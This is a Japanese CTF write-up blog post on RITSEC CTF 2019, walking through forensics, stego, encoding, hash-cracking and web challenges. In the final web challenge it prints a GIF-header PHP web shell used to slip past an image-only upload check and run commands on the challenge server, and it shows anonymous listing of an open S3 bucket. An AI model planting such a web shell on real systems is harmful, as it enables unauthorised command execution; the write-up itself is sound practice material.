yoshikingのがんばる日記

あたまよくないけどがんばります

RITSEC CTF 2019 Writeup

 11月16〜18日にRITSEC CTFが開かれており、zer0ptsとして参加しました。 結果は、チームで2669pts、68位でした。そのうち、僕は1243pts取りました。 今回は、zer0ptsで参加といっても弊チームのプロがお休み回だったので、個人的には普段より解けました。 といっても、68位…まだまだ僕のレベルはミジンコですね。

[Forensics 100pts] Take it to the Cleaners

 画像が渡されるので、exiftoolにかけてみると、User CommentRVZHRlJQe1NCRVJBRlZQRl9TTlZZRl9KQkFHX1VSWUNfTEJIX1VSRVJ9とあります。 これは、明らかにbase64なので、デコードするとEVGFRP{SBERAFVPF_SNVYF_JBAG_URYC_LBH_URER}となり、ROT13するとflagでした。 RITSEC{FORENSICS_FAILS_WONT_HELP_YOU_HERE}

[Forensics 100pts] Vacation

 chromeのバックアップらしきものがもらえます。 バックアップの復元で適当にググると、linuxでは$HOME/.config/google-chromeにおいておけば良さそうです。

backup - How to back up and restore chrome in ubuntu? - Ask Ubuntu

 この状態で、chromeを立ち上げると、ブックマークにフラグが書いてありました。 f:id:y05h1k1ng:20191121131201p:plain

RITSEC{CHR0M3_BM_FTW}

[Stego 284pts] HD Pepe

 問題文にPepe is alpha tierとあるので、アルファの値を取り出してみます。

[170, 148, 147, 170, 170, 207, 169, 187, 154, 207, 207, 133, 171, 171, 177, 171, 167, 207, 177, 189, 171, 147, 198, 188, 178, 206, 198, 177, 177, 186, 135, 181, 174, 207, 147, 175, 169, 169, 177, 198]

 フラグの長さっぽいですが、文字にはなりません。0xffから引いた値だと文字になりそうなので、やってみると、

UklUU0VDe00zTTNTX0NBTl9CM19NNExJQ0lPVVN9

またまた、base64ですね。デコードすると、フラグでした。 RITSEC{M3M3S_CAN_B3_M4LICIOUS}

画像がでけぇ

[Misc 100pts] Onion Layer Encoding

 問題文にbase16, 32, 64を使って、150回エンコードしたよみたいなことが書いてあります。 base16, 32, 64のそれぞれに出現する文字で判断して、デコードしていきます。

from base64 import b16decode, b32decode, b64decode

with open('./onionlayerencoding.txt', 'r') as f:
    d = f.read().strip().encode()

while True:
    if (b'a' in d) or (b'b' in d) or (b'c' in d) or (b'd' in d) or (b'e' in d) or (b'f' in d) or (b'g' in d) or (b'h' in d) or (b'i' in d) or (b'j' in d) or (b'k' in d) or (b'l' in d) or (b'm' in d) or (b'n' in d) or (b'o' in d) or (b'q' in d) or (b'r' in d) or (b's' in d) or (b't' in d) or (b'u' in d) or (b'v' in d) or (b'x' in d) or (b'y' in d) or (b'z' in d) or (b'w' in d):
        d = b64decode(d)
    elif (b'G' in d) or (b'H' in d) or (b'I' in d) or (b'J' in d) or (b'K' in d) or (b'L'in d) or (b'M' in d) or (b'N' in d) or (b'P' in d) or (b'Q' in d) or (b'R' in d) or (b'S' in d) or (b'T' in d) or (b'U' in d) or (b'V' in d) or (b'W' in d) or (b'X' in d) or (b'Y' in d) or (b'Z' in d):
        d = b32decode(d)
    else:
        d = b16decode(d)
    if b'RITSEC' in d:
        print(d)
        break

RITSEC{0n1On_L4y3R}

 うぅ…脳死コードを書いてしまった。

[Misc 391pts] Crack me If You Can

$ nc ctfchallenges.ritsec.club 8080
Some moron just breached Meme Corp and decided to dump their passwords...  
In the meantime, prepare your GPUs, and get Ready... Set.... and go CRACK!
However... We have a theory that the passwords might come from darkweb2017-top10000.txt, 500-worst-passwords.txt or xato-net-10-million-passwords-1000000.txt
b9124b96bb6bd61214ab5f767445e46b

 最初は何を入力すればいいのか、ちょっとよくわからなかったですが、crackしろなりパスワードのリストが示されていたりしてるので、hash値っぽいものをCrackStationに投げてみます。

https://crackstation.net/

f:id:y05h1k1ng:20191122121407p:plain

 crackできました。このbrianを投げると、更に新しいhash値が生成されます。 3回正解すると、フラグがもらえました。 ただ、crackstationだと、wordlistを網羅しきれていないので、解析ができなかったりするので運まかせです。 それと、僕はわからなかったのですが、生成されるのはhash値だけではなくて、$6$MkHeHEvJBpR3isGL$uhpt4R5wSfkLYkkrIu2EpNjknFycy6NqOFWNO2Ar/0RWnUcDPLYYiir7uAYt8N9eqV31egI9krXjZ6BIEMh7c/みたいなものもあったのですが、よくわかりませんでした。 なので、3回運良くハッシュ値かつ解析できるものになるまでひたすらやりました。

RS{H@$HM31FY0UCAN}

[Web 100pts] Buckets of fun

http://bucketsoffun-ctf.s3-website-us-east-1.amazonaws.com

Author: scriptingislife

 awsのs3サーバーを使っていることがURLからわかります。 aws cliを用いて、このバケットへlsしてみます。

$ aws s3 ls s3://bucketsoffun-ctf/ --no-sign-request
2019-11-22 23:00:21        630 index.html
2019-11-22 23:00:21         25 youfoundme-asd897kjm.txt

 アクセス権の設定が激あまだったので、 --no-sign-requestをつけることで、アクセスできました。 youfoundme-asd897kjm.txtがあることがわかったので、アクセスするとフラグがありました。

RITSEC{LIST_HIDDEN_FILES}

[Web 158pts] Potat0

 ptr-yudaiがasis-final運営の合間に、upload.phpとuploadsディレクトリがあると伝言を残してくれました。 upload.phpに適当にテキストをアップロードしてみますが、imageしかだめなようです。

 pngとかにするのめんどくせーと思っていたら、このサーバーの設計が悪くて、uploadsに他人がアップロードしたファイルが時々混ざっていました。 他の人のファイルを拝借すると、GIF89a;とテキストに書いたものを使ってphpinfoを表示させているものがありました。 手元で確かめると、確かにGIF89aとつけるだけで、GIFファイルだと認識されました。

 これを使って、Remote File Inclusionをします。

GIF89a;
<?php system($_GET["cmd"]);?>

をアップロードして、?cmd=lsで見ると、無事中身が表示されました。 あとは、ひたすらディレクトリを調べていきます。 homeにflag.txtがありました。f:id:y05h1k1ng:20191123003008p:plain

RS_CTF{FILE_UPLOAD_ISN'T_SECURE}

最後に

こいつ、ほんまにcrypto担当か?